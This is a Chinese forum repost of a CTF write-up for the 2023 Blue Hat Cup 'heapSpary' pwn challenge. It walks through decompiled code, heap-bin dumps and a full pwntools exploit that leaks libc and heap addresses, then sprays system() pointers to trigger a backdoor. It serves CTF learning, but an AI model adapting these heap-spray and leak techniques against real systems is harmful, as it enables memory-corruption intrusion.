从2023蓝帽杯0解题heapSpary入门堆喷

打印 上一主题 下一主题

主题 897|帖子 897|积分 2691

关于堆喷

堆喷射(Heap Spraying)是一种计算机安全攻击技术,它旨在在进程的堆中创建多个包含恶意负载的内存块。这种技术允许攻击者避免需要知道负载确切的内存地址,因为通过广泛地“喷射”堆,攻击者可以提高恶意负载被成功执行的机会。
这种技术尤其用于绕过地址空间布局随机化(ASLR)和其他内存保护机制。对于利用浏览器和其他客户端应用程序的漏洞特别有效。
前言

此题为2023年蓝帽杯初赛0解pwn题,比赛的时候是下午放出的,很难在赛点完成该题,算是比较高难度的题,他的题目核心思想确实和题目名字一样,堆喷,大量的随机化和滑板指令思想,在赛后一天后完成了攻破。此题,不是因为0解我才觉得他有意义,是因为他的堆喷思想和实际在工作中的二进制利用是很贴合的,确实第一次打这种题。
题目分析

checksec
  1. ❯ checksec main
  2. [*] '/root/P-W-N/bulue/main'
  3.    Arch:     i386-32-little
  4.    RELRO:    Full RELRO
  5.    Stack:    Canary found
  6.    NX:       NX enabled
  7.    PIE:      PIE enabled
复制代码
保护全开,很常规。
这个题其实要是能迅速静态分析完,其实也能很快出,也算是给我上了一课,要是我的好大儿GXH在,估计是可以在比赛中成为唯一解的。
先来看整个程序是去了符号表,我们先在start那定位main函数,__libc_start_main第一个参数就是main函数地址
  1. // positive sp value has been detected, the output may be wrong!
  2. void __usercall __noreturn start(int a1@<eax>, void (*a2)(void)@<edx>)
  3. {
  4.   int v2; // esi
  5.   int v3; // [esp-4h] [ebp-4h] BYREF
  6.   char *retaddr; // [esp+0h] [ebp+0h] BYREF
  7.   v2 = v3;
  8.   v3 = a1;
  9.   __libc_start_main(
  10.    (int (__cdecl *)(int, char **, char **))sub_1D64,
  11.    v2,
  12.    &retaddr,
  13.    (void (*)(void))sub_1D90,
  14.    (void (*)(void))sub_1E00,
  15.    a2,
  16.    &v3);
  17.   __halt();
  18. }
复制代码
这个main没什么好看的,快进到初始化和菜单
初始化如下
  1. unsigned int sub_134D()
  2. {
  3.   unsigned int result; // eax
  4.   unsigned int buf; // [esp+0h] [ebp-18h] BYREF
  5.   int fd; // [esp+4h] [ebp-14h]
  6.   int v3; // [esp+8h] [ebp-10h]
  7.   unsigned int v4; // [esp+Ch] [ebp-Ch]
  8.   v4 = __readgsdword(0x14u);
  9.   setbuf(stdin, 0);
  10.   setbuf(stdout, 0);
  11.   setbuf(stderr, 0);
  12.   fd = open("/dev/urandom", 0);
  13.   if ( fd < 0 || read(fd, &buf, 4u) < 0 )
  14.    exit(0);
  15.   close(fd);
  16.   srand(buf);
  17.   v3 = rand();
  18.   malloc(4 * (v3 % 1638));
  19.   result = __readgsdword(0x14u) ^ v4;
  20.   if ( result )
  21.    sub_1E10();
  22.   return result;
  23. }
复制代码
初始化影响不是很大,就是建了个随机大小的chunk,但是因为后续是不释放这个chunk其实没什么影响。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
来看菜单,4是不存在的虚空功能
  1. int sub_15E4()
  2. {
  3.   puts("========Welcome to new heap game========");
  4.   puts("1. Create Heap.");
  5.   puts("2. Show Heap.");
  6.   puts("3. Delete Heap.");
  7.   puts("4. Change Heap.");
  8.   puts("5. Action.");
  9.   puts("6. Exit.");
  10.   return printf("Please give me your choose : ");
  11. }
复制代码
我们直接来先看看后门函数5
  1. int sub_1C14()
  2. {
  3.   int result; // eax
  4.   unsigned int v1; // [esp+Ch] [ebp-1Ch]
  5.   int v2; // [esp+10h] [ebp-18h]
  6.   printf("Please input heap index : ");
  7.   v1 = sub_1461();
  8.   if ( v1 > 0xFFF || !dword_4060[2 * v1] )
  9.    return puts("Error happened.");
  10.   v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1];
  11.   if ( !**(_DWORD **)v2 )
  12.    return (*(int (__cdecl **)(const char *))(*(_DWORD *)v2 + 4))("cat flag");
  13.   result = *(_DWORD *)v2;
  14.   --**(_DWORD **)v2;
  15.   return result;
  16. }
复制代码
关于地址0x4060这个地方前面存的是堆的地址,后面是堆的大小,堆数量上限在0xFFF。
来看看v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1];
这个就是取堆地址然堆地址加堆大小(可控输入任意值)然后赋值到v2,比如
  1. 0x565a1060:     0x57aebf90      0x00000100
复制代码
得到的就是0x57aec090
然后对0x57aec090里面存放的地址进行一个内存检测操作,如果前4位为0就执行后门,取0x57aec090内的地址的内存的后四位进行指针函数调用。此时链表如下
  1. 0x57aec090 —▸ 0x57aeb300 ◂— 0x0
复制代码
0x57aeb300内存如下(0xf7d99781为system地址)
  1. pwndbg> x/32wx 0x57aeb300
  2. 0x57aeb300:     0x00000000      0xf7d99781      0x00000000      0xf7d99781
复制代码
分析完后门了,我们去看看add功能。可以看见是非常的长的,然后重点在于Switch选择和sub_14BA函数
  1. _DWORD *sub_1690()
  2. {
  3.   _DWORD *result; // eax
  4.   int i; // [esp+4h] [ebp-34h]
  5.   int k; // [esp+8h] [ebp-30h]
  6.   int j; // [esp+Ch] [ebp-2Ch]
  7.   int m; // [esp+10h] [ebp-28h]
  8.   int v5; // [esp+14h] [ebp-24h]
  9.   int v6; // [esp+18h] [ebp-20h]
  10.   int v7; // [esp+1Ch] [ebp-1Ch]
  11.   for ( i = 0; i <= 254 && dword_4060[i * dword_400C * dword_4008]; ++i )
  12.    ;
  13.   if ( (int *)i == off_4010 )
  14.    return (_DWORD *)puts("Ooops! Here is no space for you.");
  15.   printf("How much space do you need : ");
  16.   v5 = sub_1461();
  17.   if ( v5 <= 0 || v5 > 0x20000 )
  18.    return (_DWORD *)printf("Ooops! I can't allocate these spaces to you.");
  19.   for ( j = 0; j <= 15; ++j )
  20.   {
  21.    for ( k = rand() % 16; dword_4060[dword_4008 * (k + i * dword_400C)]; k = (k + 1) % 16 )
  22.      ;
  23.    dword_4060[dword_4008 * (k + i * dword_400C)] = malloc(v5 + 4);
  24.    dword_4060[(k + i * dword_400C) * dword_4008 + 1] = v5;
  25.    if ( !dword_4060[dword_4008 * (k + i * dword_400C)] )
  26.    {
  27.      puts("Ooops! Some error happened.");
  28.      exit(-1);
  29.    }
  30.   }
  31.   for ( m = 0; m <= 15; ++m )
  32.   {
  33.    puts("Please input your head data.");
  34.    sub_14BA((char *)dword_4060[dword_4008 * (m + i * dword_400C)], dword_4060[(m + i * dword_400C) * dword_4008 + 1]);
  35.    puts("Which flag do you want?");
  36.    v6 = sub_1461();
  37.    v7 = dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];
  38.    switch ( v6 )
  39.    {
  40.      case 1:
  41.        *(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;
  42.        *(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8;
  43.        *(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;
  44.        break;
  45.      case 2:
  46.        *(_BYTE *)v7 = (unsigned __int8)sub_1557 - 16284 + (unsigned __int8)&off_3F9C - 4;
  47.        *(_WORD *)(v7 + 1) = (unsigned int)sub_1557 >> 8;
  48.        *(_BYTE *)(v7 + 3) = (unsigned int)sub_1557 >> 24;
  49.        break;
  50.      case 3:
  51.        *(_BYTE *)v7 = (unsigned __int8)sub_1586 - 16284 + (unsigned __int8)&off_3F9C - 4;
  52.        *(_WORD *)(v7 + 1) = (unsigned int)sub_1586 >> 8;
  53.        *(_BYTE *)(v7 + 3) = (unsigned int)sub_1586 >> 24;
  54.        break;
  55.      case 4:
  56.        *(_BYTE *)v7 = (unsigned __int8)sub_15B5 - 16284 + (unsigned __int8)&off_3F9C - 4;
  57.        *(_WORD *)(v7 + 1) = (unsigned int)sub_15B5 >> 8;
  58.        *(_BYTE *)(v7 + 3) = (unsigned int)sub_15B5 >> 24;
  59.        break;
  60.    }
  61.   }
  62.   printf("Heap create from : %d to %d\n", 16 * i, 16 * (i + 1) - 1);
  63.   result = dword_4040;
  64.   dword_4040[0] = i;
  65.   return result;
  66. }
复制代码
我们先看看sub_14BA函数,可以看见逻辑是无限读入,存在堆溢出,后续堆喷滑动要用上。在输入的最后末尾都会变成0截断符,相当于带有一个off by null,但是这里也用不上的,核心在于堆块bin构造,要非常熟悉bin的回收机制,还有利用好下面的Switch选择来把0截断给绕过。
  1. int __cdecl sub_14BA(char *buf, int a2)
  2. {
  3.   while ( a2 )
  4.   {
  5.    if ( read(0, buf, 1u) != 1 )
  6.      exit(-1);
  7.    if ( *buf == 10 )
  8.    {
  9.      *buf = 0;
  10.      break;
  11.    }
  12.    ++buf;
  13.   }
  14.   *buf = 0;
  15.   return 0;
  16. }
复制代码
我们来继续看这个Switch选择,其实4个选项都是差不多的只是返回值的地址不一样而已,调一个就好了。
他会对所有的在0x4060上的chunk都进行赋值操作,我们先重点关注下v7的取值
  1. dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];
复制代码
可以看见v7的取值一样是堆的起始地址加上我们的大小,注意注意,这个大小是我们自己输入的,也就是可以打1,2,3.....
如果是这样的话比如我们的起始地址是0x100,大小是输入了1,内容输入的是a,那么经过下面的case 1操作
  1. case 1:
  2.        *(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;
  3.        *(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8;
  4.        *(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;
复制代码
就会得到内容如下(此处字节码只做替代作用,非真实情况)
  1. 0x100:a
  2. 0x101:\x01
  3. 0x102:\x02
  4. 0x103:\x03
  5. 0x104:\x04 (本应是libc or heap 但是由于v7取的是起始地址加大小刚好覆盖了一位地址,但是无所谓,低三位随便盖)
  6. 0x105:libc or heap
  7. 0x106:libc or heap
  8. 0x107:libc or heap
复制代码
要是不去调用这4个case中的任一一个,就会变成如下,最后就会因为之前的溢出读入函数导致末尾强行加上了截断符
  1. 0x100:a
  2. 0x101:\x00
  3. 0x102:libc or heap
  4. ..................
复制代码
也就是说,只要把握好一个堆块的BK指针存储上堆地址或者libc地址就能通过申请的时候申请大小为1的堆块(实际为0x10)来绕过0截断,进而泄露地址。
对于这个chunk 构造,我是直接选择了非常暴力的操作,因为他一次性add操作会直接申请16个chunk,free的时候是全free。
所以泄露操作的exp如下,直接破坏他们的链表
  1. create_heap(0xa0, b'1','data',4)
  2. create_heap(1, b'1','data',4)
  3. create_heap(0x60, b'1','data',4)
  4. create_heap(1, b'1','data',4)
  5. delete_heap()
  6. delete_heap()
  7. delete_heap()
  8. delete_heap()
  9. create_heap(1, b'1','data',4)
  10. create_heap(1, b'1','data',4)
  11. create_heap(1, b'1','data',4)
复制代码
bin如下
  1. pwndbg> bin
  2. tcachebins
  3. 0x10 [  7]: 0x579aeaf0 —▸ 0x579aeae0 —▸ 0x579aeab0 —▸ 0x579aead0 —▸ 0x579aeaa0 —▸ 0x579aea70 —▸ 0x579aea60 ◂— 0x0
  4. 0x70 [  7]: 0x579ae5e0 —▸ 0x579ae880 —▸ 0x579ae810 —▸ 0x579ae7a0 —▸ 0x579ae730 —▸ 0x579ae570 —▸ 0x579ae500 ◂— 0x0
  5. 0xb0 [  7]: 0x579aded0 —▸ 0x579adb60 —▸ 0x579ada00 —▸ 0x579ad950 —▸ 0x579ad740 —▸ 0x579ad8a0 —▸ 0x579ae030 ◂— 0x0
  6. fastbins
  7. 0x10: 0x579ae288 —▸ 0x579ae258 —▸ 0x579ae248 —▸ 0x579ae238 —▸ 0x579ae328 ◂— ...
  8. unsortedbin
  9. all [corrupted]
  10. FD: 0x579ae0d8 —▸ 0x579adf78 —▸ 0x579adc08 —▸ 0x579adaa8 —▸ 0x579ad7e8 ◂— ...
  11. BK: 0x579ae8e8 —▸ 0x579ae338 —▸ 0x579ae648 —▸ 0x579ad7e8 —▸ 0x579adaa8 ◂— ...
  12. smallbins
  13. empty
  14. largebins
  15. empty
  16. pwndbg>
复制代码
此时就会出现如下的神仙堆块,这就是我们要的最完美的堆块
  1. Free chunk (unsortedbin) | PREV_INUSE
  2. Addr: 0x579ae8e8
  3. Size: 0x151
  4. fd: 0xf7f48778
  5. bk: 0x579ae338
复制代码
但是要明白一点,unsortedbin可不止这一个,而且他不是每次都一定处于链表的头部的,所以还要写一个全输出和筛选操作
  1. # Assuming leak_all is defined as an empty list before this
  2. leak_all = []
  3. heap_addr = None
  4. libc_base = None
  5. for i in range(46):
  6.    leak = leak_libc(i)
  7.    if leak > 0x56000000:
  8.        leak_all.append(leak)
  9.        print(hex(leak))
  10.        
  11.        # Assigning values to heap_addr and libc_base
  12.        if heap_addr is None and leak < 0xf7000000:
  13.            heap_addr = leak+0x1000-0x56
  14.        elif libc_base is None and leak > 0xf7000000:
  15.            libc_base = leak-0x1eb756
复制代码
这样就可以稳定的获得libc,和一个堆地址。
然后经过内存调试发现,该堆地址在有一定概率在后续申请的堆块的下面,我们可以进行栈溢出覆盖该堆地址的内容,完成上面后门要求的条件。
所以,直接进行堆喷覆盖,index为0的chunk+0x100肯定在自己的下面,我们要考虑爆破的只有堆风水和上面泄露的heap_addr是不是也在index为0的chunk后面就行了,对于这个问题就交给运气吧,爆就完事了。
tips:(上面的堆风水是因为,他的add的时候用了random瞎赋值下标干扰程序增强随机化导致的,有时候链表不是我想的那么完美有可能踩值会踩不到 0x580e97a0 —▸ 0x580e8900 ◂— 0 ,会变成0x580e97a0 —▸ 0x580e8900 ◂— 0x580e8900 这就是因为堆风水导致padding不稳定,)
  1. # Checking the assigned values
  2. print("heap_addr:", hex(heap_addr))
  3. print("libc_base:", hex(libc_base))
  4. sys=libc_base+libc.sym['system']
  5. pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000
  6. create_heap(0x100, pay,pay,0)
  7. p.sendlineafter("Please give me your choose : ", "5")
  8. p.sendlineafter("Please input heap index : ", "0")
复制代码
exp
  1. from pwn import *​# 连接到题目提供的服务端p = process('./main')context.log_level='debug'libc=ELF('/root/P-W-N/bulue/glibc-all-in-one/libs/2.31-0ubuntu9.9_i386/libc.so.6')def create_heap(size, data,data2,flag):    p.sendlineafter("Please give me your choose : ", "1")    p.sendlineafter("How much space do you need : ", str(size))    p.sendlineafter("Please input your head data.", data)    p.sendlineafter("Which flag do you want?", str(flag))    for _ in range(15):        p.sendlineafter("Please input your head data.", data2)        p.sendlineafter("Which flag do you want?", str(flag))​def delete_heap():    p.sendlineafter("Please give me your choose : ", "3")​all_leak=[]def leak_libc(idx):    p.sendlineafter("Please give me your choose : ", "2")    p.sendlineafter("Please input heap index : ", str(idx))    p.recvuntil("Heap information is ")    p.recv(4)    leak = u32(p.recv(4).ljust(4,b'\x00'))    return leakgdb.attach(p,'b *$rebase(0x01C9E)')​#构建理想chunk,bk带有堆指针或libc指针,这种chunk可以批发的create_heap(0xa0, b'1','data',4)create_heap(1, b'1','data',4)create_heap(0x60, b'1','data',4)create_heap(1, b'1','data',4)​delete_heap()delete_heap()delete_heap()delete_heap()​#申请小chunk 疯狂切割,直接一点点带出来create_heap(1, b'1','data',4)create_heap(1, b'1','data',4)create_heap(1, b'1','data',4)​# Assuming leak_all is defined as an empty list before this
  2. leak_all = []
  3. heap_addr = None
  4. libc_base = None
  5. for i in range(46):
  6.    leak = leak_libc(i)
  7.    if leak > 0x56000000:
  8.        leak_all.append(leak)
  9.        print(hex(leak))
  10.        
  11.        # Assigning values to heap_addr and libc_base
  12.        if heap_addr is None and leak < 0xf7000000:
  13.            heap_addr = leak+0x1000-0x56
  14.        elif libc_base is None and leak > 0xf7000000:
  15.            libc_base = leak-0x1eb756delete_heap()delete_heap()delete_heap()# Checking the assigned valuesprint("heap_addr:", hex(heap_addr))print("libc_base:", hex(libc_base))sys=libc_base+libc.sym['system']#堆风水随缘padding,最后的p32(0)+p32(sys)是因为要满足后门格式,由于我们不可能得到具体的距离,只能用滑板思想批量填充滑动pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000create_heap(0x100, pay,pay,0)p.sendlineafter("Please give me your choose : ", "5")p.sendlineafter("Please input heap index : ", "0")​p.interactive()​
复制代码
[img=720,519.2702394526796]https://www.hetianlab.com/headImg.action?news=5c7b6987-0ba1-4b95-9ad0-7ad1ae508623.png[/img]
  更多网安技能的在线实操练习,请点击这里>>
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

王海鱼

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表